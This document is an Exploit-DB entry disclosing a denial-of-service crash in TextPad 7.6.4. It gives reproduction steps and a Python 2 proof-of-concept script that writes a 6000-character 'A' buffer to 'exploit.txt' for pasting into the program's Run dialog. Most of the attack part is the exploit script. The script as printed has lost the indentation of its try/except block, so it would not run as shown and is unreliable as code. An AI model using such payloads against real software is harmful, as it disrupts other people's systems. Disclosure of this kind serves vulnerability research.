Textpad 7.6.4 - Denial Of Service (PoC)

EDB-ID: 45238
Author: Gionathan Reale
Published: 2018-08-22
CVE: N/A
Type: Dos
Platform: Windows_x86
Vulnerable App: Download Vulnerable Application

 # Author: Gionathan "John" Reale 
# Discovey Date: 2018-08-22
# Homepage: https://textpad.com
# Software Link: https://textpad.com/download/v76/win32/txpeng764-32.zip
# Tested Version: 7.6.4
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Tools" > "Run...". Now paste the content of
# "exploit.txt" into the fields:"Command". Click "OK" and you will see a crash.

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

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